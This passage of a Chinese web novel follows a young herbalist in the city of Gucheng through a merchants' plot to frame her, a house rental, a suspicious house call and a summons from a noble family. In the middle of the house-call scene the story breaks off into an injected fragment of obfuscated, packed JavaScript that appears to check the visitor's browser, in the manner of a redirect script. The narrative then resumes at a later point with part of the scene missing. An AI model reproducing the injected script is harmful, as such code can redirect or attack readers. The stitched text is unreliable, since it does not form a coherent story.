“那就看怎么闹了。”赵掌柜阴恻恻一笑，“若是寻常头疼脑热，自然闹不大。可若是……闹出人命呢？” 钱掌柜一惊：“人命？这、这会不会太过了？” “又不是真闹出人命。”赵掌柜摆手，“我手下有个叫刘三的，最擅演这种戏。让他假装吃了张记的药，中毒昏迷，口吐白沫，抬到铺子前头去。再找几个苦主哭天抢地，说要报官。到时候，张记为了息事宁人，必定会推那丫头出来顶罪。” 钱掌柜听得心动，却又犹豫：“可那刘三……演得像么？万一被识破了……” “放心。”赵掌柜自信道，“刘三干这行十几年了，从没失过手。他吃的‘毒药’，是我特意配的，服下去后症状跟真中毒一模一样，连大夫都难辨真伪。而且药性温和，服了解药半个时辰就能醒，绝不会真出事。” 钱掌柜思忖良久，终于点头：“好，就按你说的办。不过，时机要选好。那丫头刚出名，现在动手太显眼。等过个十天半月，风头稍过，再动手不迟。” “正是。”赵掌柜笑道，“我也得让刘三他们准备准备，把戏演足了。” 两人又商议了一番细节，直到亥时末，赵掌柜才告辞离去。 钱掌柜独自坐在书房里，望着跳动的烛火，心里却隐隐有些不安。 那丫头……真的那么好对付么？他想起前日在清风楼外，许娇娇那双清亮沉静的眼睛。那样一个十二三岁的小姑娘，面对他的威胁，竟能不卑不亢，眼神里没有半分惧意。 这样的人，要么是真傻，要么……就是有所倚仗。 他但愿是前者。 窗外，春雨又淅淅沥沥地下了起来。菰城的夜，被雨雾笼罩着，看不清远山，也看不清前路。 34. 第34章 租赁房屋 几日后，菰城的春雨总算是停了。 日头从云层后头探出来，虽不算烈，却也把连日阴湿的街道晒得暖烘烘的。青石板路上的水洼渐渐干了，只留下深色的水渍。街边屋檐往下滴水，嘀嗒嘀嗒，声音越来越稀疏。 张记生药铺门口，从辰时初就排起了队。 队伍比往日长了一倍不止，一直延伸到隔壁绸缎庄的檐下。有咳嗽的老汉，有抱着啼哭孩子的妇人，有拄着拐杖的老婆婆。人人手里攥着号牌，眼巴巴望着铺子门楣上那块“张记生药”的木匾。 “都别挤，排好队！”张记生药铺的伙计在门口维持秩序，额上冒了汗，“李真人、廖大夫、万大夫都在里头，一个个来！” 自打医药鉴别会结束，张记生药铺的生意就一天比一天红火。原本铺子里有两位坐堂大夫——廖大夫五十来岁，擅治内科杂症；万大夫四十出头，精于妇科儿科。加上四个伙计，平日里倒也够用。 可如今不行了。 来的人里，十有七八是冲着李真人的名头来的。李真人每年总会来菰城坐诊一段时日，有时在城东的济仁堂，有时在城西长春堂。今年好不容易轮到张记生药铺，张东家早就盼着李真人在他的铺子多诊些时日，可李真人时间有限，他每年在菰城最多也就待月余。且李真人坐诊分文不取，铺子只收取药材费。许多老病号排队就是为了让李真人诊脉。 如今菰城医药鉴别会上，许娇娇虽然崭露头角，但她毕竟是位女子，虽有些医术，但找她看诊的几乎没有。不过有些在医药鉴别会上听说许娇娇的药丸做的好，且又得过周行老和王太医嘉奖，抓药的时候也会顺便多问两句：“听说王太医对许小娘子配制的药丸很满意，不知铺子可有售卖？都可以治疗什么症候？一些话语。”铺子的伙计也会简单做个介绍，有几人也会买点回去说试试看效用。 而后院里，许娇娇却没顾得上前头，她正忙着炮制一批新到的柴胡。 小炭炉上坐着铜锅，锅里柴胡片在文火下慢慢翻炒，酒气蒸腾起来，带着特有的辛香。她手里握着长柄铜铲，一下一下翻动着，眼睛盯着火候，额角沁出细密的汗珠。 静尘在一旁分拣药材，将炮制好的当归、白芍装进药屉。静心则蹲在墙角，用小石臼捣着薄荷叶，准备制清热散。 院子本就狭小，如今堆满了药材、器具，三个人转个身都嫌挤。更别提旺财了，这狗儿懂事，知道院里地方窄，平日就趴在门槛内，偶尔抬起头看看，又安静地趴回去。 许娇娇炒好一锅柴胡，盛出来晾着，这才直起腰，抹了把汗。她环视这间住了月余的小院，心里有了计较。 晚膳时，她向张东家和王氏提了租房的事。 “张伯，伯母，”许娇娇放下筷子，认真道，“这些日子叨扰了。如今铺子里病人多，后院又要炮制药材，实在拥挤。我和静尘师姐、静心想在外头赁处房子，也方便些。” 张东家一愣，王氏更是急道：“娇杏，你这是说的什么话！什么叨扰不叨扰的，咱们是一家人！” “伯母待我们好，我们都知道。”许娇娇温声道，“可正是为着一家人，才更该为铺子着想。如今后院堆满药材，炮制起来烟熏火燎的，也影响铺子前头的生意。更何况——”她顿了顿，“我们三个女子，长期住在铺子后院，终究不便。” 这话说得在理。张东家沉吟片刻，点了点头。 他家中情形，许娇娇这些日子也了解了些。张东家和王氏育有二子一女。长子在城西开了间分店，已成家立业；次子在官学读书，张东家一心想让他走科举的路子；小女儿才四五岁，平日跟着奶娘住在城西的宅院里。铺子这边，除了两个坐堂大夫和四个伙计，后院本就不住人，是专门用来炮制、储存药材的。 如今腾出两间厢房给她们住，确实挤占了炮制药材的地方。前几日廖大夫还抱怨，说后院烟大，呛得病人咳嗽。 “娇杏说得对。”张东家终于开口，“你们三个姑娘家，长期住在铺子里确是不便。既然要赁房子，我帮你们找个可靠的牙人。” 王氏虽舍不得，却也明白道理，只拉着许娇娇的手道：“那也得寻处近的，好常来常往。赁房子的钱若不够，伯母这儿有。” 许娇娇心里一暖，摇头道：“伯母放心，鉴别会上仁心堂给的酬金，加上这些日子攒的，够用了。” 第二日，张东家便托人找了个姓周的牙人。 周牙人四十来岁，瘦高个，留着两撇胡子，说话办事都利索。听说许娇娇要赁房子，当即拍胸脯道：“姑娘放心，这菰城大街小巷，没有我老周不熟的。不知姑娘想赁在哪儿？要多大的？” 许娇娇早已想好：“离铺子近些，走路两炷香内的最好。不必太大，两间卧房，一间堂屋，带个小院就行。价钱……每月不超过五百文。” 周牙人心里盘算一番，笑道：“这个价钱，在城东能赁到不错的。姑娘稍等，我这就去打听，明日带姑娘看房。” 果然，第三日一早，周牙人就来了，说找到了三处合适的。 第一处在城北，离张记铺子倒是近，走路一炷香就到。可房子老旧，院墙塌了一角，屋里阴暗潮湿，墙角还长着霉斑。静尘看了直皱眉，静心更是悄悄拉许娇娇的袖子：“娇杏，这儿……好像不太干净。” 许娇娇也摇头。这房子便宜是便宜，每月只要三百文，可住着怕是要生病的。 第二处在城南，房子倒是整齐，三间瓦房带个小院。可离张记铺子远，走路得小半个时辰。而且周围都是做小买卖的，白日里吵嚷得很。许娇娇想着夜里要研读医书，需要清静，便也作罢。 第三处在城东，离东瓦子不远。 周牙人引着她们穿过两条街巷，来到一条名叫“柳枝巷”的胡同。胡同不宽，青石板路却平整，两旁种着垂柳，这时节绿莹莹的十分好看。 房子在胡同中段，是个独门小院。黑漆木门，门环擦得锃亮。推门进去，是个方正的天井，青石板铺地，缝里长着茸茸的青苔。正面三间房，中间是堂屋，左右各一间卧房。东侧还有间小厨房，西侧是间小小的柴房。 院子里有口井，井台用青石砌着，旁边放着木桶。墙角种着一丛月季，这时节还没开花，可枝叶长得茂盛，绿油油的。 许娇娇一眼就喜欢上了。 她推开堂屋的门，屋里亮堂堂的。窗户是纸糊的，可糊得厚实，不透风。地上铺着青砖，扫得干干净净。虽没有家具，可四壁白净，梁椽结实。 静尘也点头：“这房子好，敞亮。” 静心则跑到井边，趴着井沿往下看，惊喜道：“井里有水！清亮亮的！” 周牙人笑道：“这房子原是个老秀才住的，后来儿子中了举，接他去任上享福了，房子就空了下来。房主舍不得卖，只愿出租。每月五百文，不二价。” 许娇娇仔细看了看房屋结构，又试了试门窗，都结实。她心里算了一笔账：仁心堂每月给的酬金有二百文，加上自己炮制药材、帮铺子抓药也能赚些，五百文的房租虽不便宜，可也负担得起。 更重要的是，这地方离张记铺子走路两炷香，不算远。离东瓦子近，买菜买米都方便。胡同清静，适合读书制药。 “就这儿吧。”许娇娇做了决定。 周牙人大喜，当即去请房主。房主是个六十来岁的老先生，姓郑，看着就是个读书人，说话文绉绉的。听说许娇娇是学医的，更是高兴：“医者仁心，好，好！这房子赁给姑娘，我放心。” 当下写了契书，一式两份。许娇娇付了三个月房租，共一千五百文，又给了周牙人五十文的佣金。郑老先生将钥匙交给她，嘱咐道：“姑娘好生住着，若有需要修葺的地方，只管跟我说。” 房子赁好了，接下来便是搬家。 张东家和王氏听说她们赁了柳枝巷的房子，都来看过。王氏连连点头：“这地方好，清静，干净。离铺子也不远，你们平日来往方便。” 搬家那日，张东家让陈伙计赶了驴车来帮忙。 其实东西不多。三人来菰城时只带了几个包袱，如今添置的也不过是些日常用具——被褥、衣裳、锅碗瓢盆。最多的还是药材和医书，装了整整两箱子。 许娇娇最宝贵的是那几样：医药书、骨针、小药锄、半块羊脂玉佩；李真人送的几卷医书；还有仁心堂的契书、沈夫人给的玉佩，都仔细收在贴身的小木匣里。 静尘和静心则把自己的东西整理得井井有条。静尘针线好，这些日子 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许娇娇忙道：“张伯，已经够麻烦您了。” “什么麻烦不麻烦的。”张东家摆手，“你们三个姑娘在外头住，总得把房子收拾妥当了。安全最要紧。” 正说着，陈伙计从外头进来，手里拎着个食盒：“东家，师娘让我从铺子里带的饭菜，还热乎着。” 王氏接过食盒，摆在堂屋桌上。里头是四菜一汤——红烧肉、清炒菜心、蒸鸡蛋、拌豆腐，还有一盆蘑菇汤。白米饭盛得冒尖。 “都累了一上午了，快吃饭。”王氏招呼着，“刘家嫂子也一起来吃些。” 刘寡妇推辞不受，径直告辞走了。 众人于是坐定，一顿饭吃得热热闹闹，旺财在桌下转悠，静心悄悄夹了块肉给它，它摇着尾巴吃得欢。 饭后，王氏又帮着把厨房收拾出来，锅碗瓢盆一一归位。张东家则带着陈伙计，把院门、屋门的门闩都检查加固了，又在院墙上插了些碎瓷片——这是防贼的土法子。 “虽说菰城治安好，可小心些总没错。”张东家叮嘱道，“夜里门要闩好，听见动静莫要轻易开门。若有急事，就往铺子跑，或者喊邻里。” 许娇娇一一记下。 待到申时末，屋子总算收拾出个模样。堂屋里摆着一张方桌、四把椅子——是张东家让陈伙计从铺子后院搬来的旧家具，虽不新，却结实。卧房里铺好了床，挂上了蚊帐。厨房里米面油盐都备齐了，水缸也挑满了水。 送走张东家一家，小院里终于安静下来。 夕阳西下，金色的余晖洒在天井里，把那丛月季的影子拉得老长。井台上放着的木桶里，水面映着天光，晃晃悠悠的。 静尘站在堂屋门口，望着这方小天地，眼中有些恍惚：“娇杏，这……真是咱们的家了？” 许娇娇走到她身边，握住她的手：“是咱们的家了。” 静心从厨房探出头，脸上沾着灰，却笑得很开心：“娇杏妹妹，师姐，我把灶台擦干净了！明日就能自己做饭了！” 旺财在天井里转圈，这里闻闻，那里嗅嗅，最后在月季丛边找了个地方，舒舒服服地趴下，像是认定了这是它的地盘。 许娇娇环视这个小院，心中涌起一股踏实感。 从归平县山上的茅屋，到张记铺子的后院，再到这柳枝巷的小院。一路颠簸，一路逃离，如今总算有了个真正属于她们三人的安身之处。 虽然房子是租的，虽然前路依然未知，虽然水仙姑和王大官人的威胁如阴影未散——可至少此刻，她们有了一个可以关上门、点上灯、安心说话的地方。 “师姐，静心，”许娇娇轻声说，“往后咱们好好过日子。我继续学医制药，你们若愿意，也可以学些手艺。等攒够了钱，说不定还能开个小药铺。” 静尘眼中闪着光：“好，我都听你的。” 静心也用力点头。 夜幕渐渐降临。许娇娇点亮油灯，昏黄的光晕填满了堂屋。三人围桌坐下，商量着明日要添置的东西——要买些菜种，在墙角开块小菜地；要买些布料，给窗户做帘子；还要买些常用的药材，在家里备着…… 35. 第35章 出诊 李真人要回茅山了。 消息是前一日傍晚传来的。李真人的道童来张记铺子送信，说真人已收拾好行装，明日辰时便启程。 许娇娇听到时，正在后院炮制一批新到的黄芪。手里的铜铲顿了顿，黄芪片在锅里多翻了两下，差点过火。她忙定神，将火调小些，心里却像被什么东西轻轻扯了一下。 这些日子，李真人每日在铺子里坐堂，她在一旁看着、学着，获益良多。老人家不仅医术精湛，更难得的是那份仁心——无论贫富贵贱，一视同仁；无论疑难杂症，耐心诊治。他教她诊脉要静心凝神，教她开方要权衡利弊，教她制药要精益求精。 “医者，意也。”李真人曾这样对她说，“不是死记硬背几个方子，而是要明白病从何来，药往何去。要知常达变，因人制宜。” 这些话，她一字一句都记在心里。 第二日一早，许娇娇特意提早到了铺子。李真人正在前堂与张东家话别，见她来了，含笑招手：“丫头，过来。” 许娇娇上前，恭恭敬敬行了个礼：“真人今日启程，一路保重。” 李真人打量她片刻，从袖中取出一个小布包：“这里头是几本医书，还有老夫这些年整理的脉案笔记。你拿回去好好研读，若有不懂的，可写信到茅山问道观。” 许娇娇双手接过，眼眶微热：“多谢真人厚赐，民女定当刻苦研习，不负教诲。” “你有天赋，更难得的是这份沉稳心性。”李真人捻须道，“只是医药之道，学无止境。切莫因一时小成而自满，也莫因前路艰难而气馁。” “民女谨记。” 辰时初，李真人的马车来了。张东家带着铺子里众人送至街口，直到马车消失在长街尽头，这才回转。 铺子里忽然空落落的。 廖大夫和万大夫依旧坐堂，可总觉得少了些什么。来看病的百姓也有打听的：“李真人真走了？”“往后还来不来？” 许娇娇默默回到后院，继续炮制药材。炭火明明灭灭，药香氤氲，可她的心却有些飘忽。李真人这一走，像是把某种支撑也带走了。 日子还得过。 自打搬进柳枝巷的小院，许娇娇的生活便成了两点一线——清晨从家到铺子，傍晚从铺子回家。偶尔去仁心堂指点制药，每月领那二百文的酬金。静尘和静心把家里打理得井井有条，小菜园里种上了青菜、葱蒜，墙角那丛月季也打了花苞，眼看就要开了。 平静，却也单调。 直到四月初三这日，变故突生。 那日张东家一早就出了门。前日听人说苏州药市新到了一批川黄连，品相极好，价钱也公道。张东家想着铺子里存货不多，便亲自去苏州看看，来回得三四日。 铺子里原本有廖大夫和万大夫坐镇，倒也无妨。可偏巧这日一早，廖大夫被城南一户人家请去出诊——那家的老太爷突发急症，卧床不起。万大夫则因家中有事，前一日就告了假。 如此一来，铺子里竟没了坐堂大夫。 陈伙计急得直搓手：“这可如何是好？今日排队的人不少，总不能让人白等。” 许娇娇正在柜台后整理药材，闻言抬头：“我来试试吧。虽不敢说能看疑难杂症，但寻常小病，应该能应付。” 陈伙计一愣：“许姑娘你……” “李真人教了我许多，这些日子我也看了不少诊。”许娇娇平静道，“若有拿不准的，我便直言，请病人另寻高明。总好过让人空等。” 陈伙计想了想，眼下也确无他法，只得点头：“那……有劳姑娘了。” 许娇娇便坐到李真人平日坐的诊案后。静尘在一旁帮忙维持秩序，静心这些时日在柳枝巷忙着家务，她是个安静的小娘子，话少，胆小，也不喜出门，所以许娇娇让她在家做些家务针线。 起初来的几个病人，见坐堂的是个半大丫头，都有些迟疑。可听伙计解释后，又见许娇娇问诊仔细，把脉沉稳，开的方子也稳妥，便渐渐放下心来。 一个上午，看了十七八个病人。大多是风寒咳嗽、脾胃不适之类的常见病。许娇娇谨慎应对，能治的便开方，拿不准的便坦言相告，请病人明日再来。 到午时，病人渐少。许娇娇刚松了口气，想喝口水歇歇，铺子外忽然传来急促的脚步声。 一个二十来岁的小哥冲了进来，满头大汗，脸色煞白，声音都在发抖：“大夫！大夫在吗？快！快救人！” 许娇娇心头一跳，忙起身：“这位大哥，莫急，慢慢说。谁病了？” 小哥喘着粗气，话都说不利索：“我、我阿娘……突然晕倒了！怎么叫都不醒！脸、脸都紫了！求求大夫，快去看看吧！” 许娇娇眉头紧皱。晕厥之症可大可小，若是中风、心疾之类的急症，耽误不得。 “病人在何处？离这儿多远？” “在、在城西葫芦巷！走路得两炷香……”小哥急得眼泪都快出来了，“我背了阿娘一段，实在背不动了……大夫，求您快去吧！再晚、再晚怕是不行了！” 许娇娇心中飞快权衡，东家不在，廖大夫出诊未归，万大夫请假——铺子里确实无人可去。可她一个小娘子，人生地不熟……？ “静尘师姐，”她转身，“把我的药箱拿来。还有那瓶通窍醒神丸，那包急救散，都带上。” 静尘一愣：“娇杏，你真要去？这……万一……” “顾不了那么多了。”许娇娇从柜子里取出一个小布包——里头是她平时备着的银针、艾绒、止血药等物，“救人要紧。” 静尘看着她坚定的眼神，一咬牙：“我跟你一起去。” 两人迅速收拾好东西。许娇娇对陈伙计道：“陈大哥，铺子先劳你照看。若有急症病人，请他们稍候，或去别家医馆。” 陈伙计连连点头：“姑娘放心去，铺子有我。” 三人匆匆出了门。小哥在前头带路，脚步飞快。许娇娇和静尘几乎是小跑着才能跟上。 穿过两条街巷，转入一条僻静的小路。路两旁是些低矮的土坯房，墙面斑驳，巷子里堆着杂物，空气中飘着一股霉味。 静尘越走心里越不安，凑近许娇娇低声道：“娇杏，这地方……怎么这么偏？” 许娇娇也察觉了。葫芦巷在城西，本就是贫民聚居之地，可这条路似乎越发偏僻，不像常有人走。 她抬眼看向前头带路的小哥。那人虽满脸焦急，可脚步稳健，呼吸均匀，不像是一路狂奔过来的样子。 心头警铃大作。 “这位大哥，”许娇娇放缓脚步，“令堂具体是何症状？除了晕厥，可还有抽搐、口吐白沫？” 小哥头也不回：“就是突然晕倒，怎么叫都不醒！大夫，快些吧，就在前头了！” 许娇娇与静尘对视一眼，都从对方眼中看到了警惕。 可来都来了，此刻掉头就走，万一真有病人，岂不是见死不救？ 正犹豫间，前方出现一个破败的小院。院门虚掩着，里头静悄悄的。 “就是这儿！”小哥推开门，“大夫，快请进！” 许娇娇站在院门口，往里望去。院子里杂草丛生，正屋的门紧闭着，窗户纸破了几个洞，黑洞洞的。 她深吸一口气，从袖中摸出一包药粉捏在手里——这是她自制的迷魂散，关键时刻或可防身。 “师姐，你在门外等着。”她低声道，“若有不对，立刻往回跑，去喊人。” 静尘却摇头：“我跟你一起进去。” 两人一前一后走进院子。小哥已经推开正屋的门，屋里光线昏暗，隐约看见炕上躺着个人。 许娇娇踏进门槛，药粉藏在袖中，另一只手已摸到银针。 炕上确实躺着个老妇人，约莫六十来岁，面色灰败，双目紧闭，呼吸微弱。 许娇娇快步上前，三指搭上老妇人腕脉。脉象沉细无力，时有时无，确是危症。 她稍稍松了口气——至少病人是真的。 “令堂晕倒前，可有什么不适？是否说过头痛、胸闷？”许娇娇一边问，一边翻开老妇人眼睑查看。 小哥站在门边，支吾道：“没、没说什么……就是突然倒了……” 许娇娇不再多问，专注诊察。老妇人舌质淡紫，苔白腻，四肢厥冷。她心中有了几分判断——这像是寒厥之症，阳气衰微，气血不能通达四末。 她从药箱里取出银针，选了几个穴位：人中、内关、足三里。下针时手法沉稳，深浅得当。 又取出那瓶，通窍醒神丸，倒出一粒，用温水化开，一点点喂给老妇人。 做完这些，她起身对小哥道：“令堂这是阳气暴脱之症，需用回阳救逆之药。我开个方子，你速去抓药。” 说着，取出纸笔，写下：附子三钱、干姜二钱、炙甘草二钱、人参二钱或用党参五钱替代。并注明：急煎，顿服。 小哥接过方子，却不动：“大夫，这、这药贵不贵？我家……怕是用不起人参。” 许娇青早已虑及此点：“用党参替代便可。这几味药都是常用药，不算贵。你快去抓药，迟了恐生变。” 小哥这才点头，转身出了门。 屋里只剩下许娇娇、静尘和昏迷的老妇人。静尘轻声道：“娇杏，你觉得……这人可信么？” 许娇娇摇头：“不知道。但病是真的，咱们既来了，便得治。” 她坐在炕边，继续给老妇人诊脉。针药并施后，脉象似乎有力了些，呼吸也平稳了些。 约莫过了一炷香时间，门外传来脚步声。 许娇娇警惕地抬头，进来的却不是那小哥，而是一个五十来岁的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出小院时，日头已经偏西。巷子里静悄悄的，一个人影也没有。 静尘挽着许娇娇的手臂，低声道：“娇杏，咱们快些回去。这地方……我总觉得心里发毛。” 许娇娇点头，两人加快脚步。 走出葫芦巷，转入主街，这才松了口气。街上人来人往，商铺里亮起灯火，熟悉的喧闹声让两人心安了些。 “今日这事，总觉得蹊跷。”静尘边走边说，“那小哥，那老者，还有那地方……” “我也觉得。”许娇娇沉吟，“可病人是真的，病也是真的。或许……是咱们多心了。” 话虽如此，她心里却存了个疑影。 回到柳枝巷的小院时，天已擦黑。静心早已做好了饭，在堂屋里焦急地等着。见她们平安回来，这才放下心。 饭桌上，许娇娇将今日出诊的事简单说了。静心听得心惊胆战：“以后可莫要独自出诊了，太危险！” “是啊。”静尘也道，“今日若真有什么陷阱，咱们两个姑娘家，如何应对？” 许娇娇默默吃饭，心里却在想：若今日真是陷阱，对方为何不动手？若只是试探，目的又是什么？ 她想起那个神秘的老者，想起他那些看似随意实则有意的问题。 或许，有人已经在暗中盯着她了。 今日这一遭，像是给她提了个醒——菰城虽大，可那些想害她的人，从未走远。 她得更加小心才行。 而此刻，城东庆和堂后院的书房里，烛火还亮着。 钱掌柜坐在桌后，对面正是白日里出现在葫芦巷的那个老者。 “如何？”钱掌柜问。 老者捻须道：“那丫头确有几分真本事。诊脉精准，下针老道，用药也妥当。今日那老妇人的寒厥之症，她处理得宜，若非她及时救治，怕是要出人命。” 钱掌柜皱眉：“这么说，她不是徒有虚名？” “绝非虚名。”老者摇头，“我观她行事，沉稳谨慎，不似寻常少女。更难得的是那份仁心——见病家贫寒，分文不取，还嘱咐用廉价药材替代。” 钱掌柜沉默片刻，缓缓道：“那……按计划行事？” “再等等。”老者沉吟，“今日我试探了几句，她警惕性很高。如今她刚在鉴别会上出了风头，盯着她的人多。此时动手，容易惹人怀疑。” “等多久？” “等机会。”老者眼中闪过一丝精光，“等她放松警惕，再给她致命一击。” 钱掌柜点头：“好，就依你。” 烛火跳跃，将两人的影子投在墙上，拉得老长，扭曲变形，如同暗中潜伏的鬼魅。 36. 第36章 贵人相约 那日的出诊，虽是有惊无险地救了人，却在许娇娇心里埋下了一颗不安的种子。 回到柳枝巷小院的这几日，她夜里总睡不踏实。一闭上眼，便浮现出葫芦巷那偏僻破败的小院、炕上面色灰败的老妇、眼神闪烁的小哥，还有那个突然出现又莫名离去的老者。每一处细节，都在夜深人静时反复咀嚼，越想越觉得蹊跷。 “太巧了。”许娇娇在灯下翻着李真人留下的脉案笔记，心思却飘远了。张东家恰巧那日去苏州，廖大夫恰巧被请出诊，万大夫恰巧告假，铺子里只剩她一个略通医术的。而那小哥恰巧在此时出现，领她去的地方恰巧那般偏僻…… 若说全是巧合，未免太牵强。 可若真是陷阱，对方为何不动手？那老妇人的病是真真切切的危症，若非她及时施救，恐怕熬不过那个午后。 许娇娇放下手中的笔，望向窗外。月光洒在天井里，把月季丛的影子投在青石板上，随风微微晃动。旺财趴在门槛内，耳朵不时抖动一下，警惕着夜里的动静。 静尘端着热水进来，见她还没睡，轻声道：“又睡不着？” “在想那日的事。”许娇娇揉了揉眉心，“师姐，你说……会不会是水仙姑她们？” 静尘把热水盆放在架上，用布巾浸湿了拧干，递给许娇娇擦脸：“我也担心这个。归平县离菰城不过一日路程，若他们真想寻仇，找上门来也不奇怪。”她顿了顿，声音更低，“娇杏，咱们如今虽有处安身之地，可终究势单力薄。若他们真要对付咱们……” 许娇娇接过布巾，温热的水汽敷在脸上，稍稍驱散了心头的寒意。她擦完脸，把布巾递回去，眼神却坚定起来：“师姐，正因如此，咱们才更要小心，更要蛰伏。” “蛰伏？” “对。”许娇娇走到窗边，望着夜空中的疏星，“水仙姑和王大官人犯下的罪孽，那些被拐卖的女子、孩童，那些被他们害得家破人亡的人……这些账，总有一天要算清。但不是现在。” 她转过身，看着静尘：“现在的我们，根基未稳，在菰城无亲无故，唯一能依靠的只有张伯的照拂。这样的我们，拿什么去和他们对抗？贸然行事，不但报不了仇，反而会打草惊蛇，甚至把自己和你们都搭进去。” 静尘怔怔看着她，这才发现，不知从何时起，那个在山上茅屋里惶恐不安的小师妹，已经变得如此沉稳而有主见。 “那……咱们该怎么办？” “等。”许娇娇走到桌边，拿起那本脉案笔记，“等时机。在这之前，我要潜心学医，精进医术。李真人说得对，医者仁心，但仁心需要有真本事支撑。我要在菰城立住脚，攒下名声，攒下人脉，攒下安身立命的资本。等到有一天——” 她眼中闪过一丝锐利的光：“等到我足够强大，等到证据确凿，等到时机成熟，我会亲手将他们做的恶事揭开，为那些被害的人讨个公道。” 静尘心中震动，久久不语。半晌，才轻声道：“可这样……太危险了。他们势力大，咱们只是三个无依无靠的女子……” “所以更要谨慎。”许娇娇握住静尘的手，“师姐，你放心，我不会莽撞行事。从今日起，咱们更要低调。我每日只在铺子和家之间往来，若非必要，绝不出诊。仁心堂那边每月只去两日，教完制药便回。咱们三人尽量少出门，若出门必结伴而行。” 静尘用力点头：“好，我都听你的。” 第二日，张东家从苏州回来了。 他这趟去得顺利，不仅谈妥了一批上好的川黄连，价格比市面低了一成，还结识了几个苏州的药商，约好了日后长期供货。回到铺子里，见一切如常，生意甚至比往日更红火些，心中高兴。 许娇娇趁午后病人少时，将前日独自出诊的事细细说了一遍。 张东家听着，脸色渐渐凝重起来。待她说完，他沉吟良久，才缓缓道：“娇杏，你怀疑得对。这事确有蹊跷。” “张伯也这么觉得？” “太巧了。”张东家捋着胡须，眼中带着忧虑，“我经营药铺几十年，这样的事不是没见过。有些地痞无赖，专挑医馆里老大夫不在、只剩年轻学徒时，假装急症来请，把人骗到偏僻处勒索钱财。更甚者，与药商勾结，设局陷害……” 他顿了顿，看向许娇娇：“你如今在菰城医药行当里也算有了些名气，又是个女子，容易被人盯上。水仙姑那事，我虽不知详情，可听你提过几句，想来不是善茬。若真是他们在背后捣鬼，你更要万分小心。” 许娇娇心头一紧：“张伯的意思是……” “我的意思是，从今往后，若无我或廖大夫、万大夫陪同，你绝不可独自出诊。”张东家正色道，“若再有类似急症来请，便说我铺子里有规矩，坐堂大夫不出外诊，请他们将病人送来。若实在送不来，便推荐去别家医馆——仁心堂、济世堂都可以。虽说这样可能会得罪些人，可安全要紧。” 许娇娇心中十分感动。张东家这般安排，完全是出于对她的保护，甚至不惜可能影响铺子生意。 “张伯，这样会不会……” “不会。”张东家摆手打断，“人命关天，但医者自身安危也紧要。你若出了事，我怎么对得起你爹娘？怎么对得起李真人托付？”他叹了口气，“更何况，若真是有人设局害你，那便是冲着我张记来的。我岂能让他们得逞？” 许娇娇郑重行礼：“民女谨记，定当小心。” 张东家点点头，又嘱咐了几句，这才去前堂忙了。 自那日起，许娇娇便越发谨慎。每日准时到铺子，在柜台后帮着抓药、制药，若有病人问诊，也只接那些症状简单、常见的。若有复杂些的，便恭请廖大夫或万大夫诊治。到了时辰便回家，绝不在外逗留。 静尘和静心也越发小心。买菜买米都结伴而去，速去速回。柳枝巷的小院门白日里也常闩着，只在有人敲门时才开。邻里间虽友善，却也保持着距离，不过分热络。 日子仿佛又回到了平静的轨道上。 许娇娇每日研读医书和李真人留下的脉案，不甚明了之处便记下来，等廖大夫或万大夫得空时请教。她天资本就聪颖，又有前世的知识与经验，这个时代的医疗医术药材原本就缺乏，她同时也多了许多创新，就连李真人留下的脉案有几条她都有了不一样的看法。廖大夫看了她开的方子，点头赞许：“方证对应，药量妥当，许小大夫不愧是承了许大郎的衣钵。” 静尘和静心也没闲着。静尘跟着铺子里的伙计学了些药材鉴别、保管的法子，如今已能帮着分拣、晾晒药材。静心手巧，除了料理家务，还学着做些简单的药膳——茯苓粥、黄芪炖鸡、枸杞茶，每日换着花样给三人调理身子。 小菜园里的青菜长势喜人，绿油油的一片。墙角那丛月季开了花，粉红的花朵在晨露中颤巍巍的，给这小院添了几分生气。 许娇娇有时坐在堂屋门口，看着天井里的景象，心里会生出一种错觉——仿佛那些危险、那些阴谋都离得很远，她们三人可以一直这样平静地生活下去。 但她知道，这只是错觉。 水仙姑和王大官人就像潜伏在暗处的毒蛇，不知何时会突然蹿出来咬人。她必须时刻警惕。 转眼到了四月中旬。 这日清晨，许娇娇如常来到铺子。刚在柜台后站定，便见门外来了一辆马车。 那马车与寻常车驾不同，车身漆成沉稳的靛青色，两侧垂着素色帷幔，檐角各悬一枚小小的铜风铎，车行时发出清越的叮咚声。拉车的两匹马毛色油亮，步伐齐整，一看便是精心饲养的。 马车在铺子门前稳稳停下。车辕上跳下一个三十来岁的妇人，穿着石青色褙子，头发梳得一丝不乱，面容端正，眼神精明干练。她抬头看了眼铺子匾额，便径直走了进来。 陈伙计忙迎上去：“这位夫人，可是要看病抓药？” 那妇人微微颔首，目光在铺子里扫了一圈，落在柜台后的许娇娇身上：“请问，许娇杏许小娘子可在此处？” 许娇娇心头一动，放下手中的戥子，上前一步：“民女便是。不知夫人有何贵干？” 妇人打量她片刻，眼中闪过一丝不易察觉的审视，随即露出得体的微笑：“老身姓周，在城南沈尚书第当差，奉我家夫人之命，特来请许娘子过府一叙。” “沈尚书第？”许娇娇一怔，旋即明了，这是沈家祖宅的敬称。老侯爷致仕荣归，门楣上悬的正是皇帝御赐的“尚书第”的匾额。 周管事含笑点头，言语间分寸拿捏得极好：“正是。许娘子可还记得，三年前元宵灯会上，曾救过一个突发急症的小娘子？那便是我家小娘子。我家夫人一直惦记着这份恩情，前些日子曾让李真人约见娘子，娘子应该不会忘记吧？那日奴家不在，听我家小娘子说，许小娘子年纪不大，医术却十分精湛，心下便记着了。今日得了这个差事，特来请许娘子过府，为我家小娘子诊看调理。车马已在门外候着了。 “原来是尚书第府上管事嬷嬷，”许娇娇听了妇人的话，心中很是惊讶，原来当日她救的那位小娘子家世竟如此煊赫。难怪前些日子，李真人曾带着她见了那位夫人，那夫人和小娘子穿着体面，气度不凡。李真人说那沈夫人是他的侄女，那么李真人家世恐怕也相当不错。 念头飞转间。她似乎又想起，听人说开国侯府上有个外甥女是贵妃娘娘。且家主沈老侯爷已致仕，听说虽已不在朝中，可门生故旧遍布，在菰城乃至整个江南道都颇有声望。 原来是尚书第啊！许娇娇恍然。 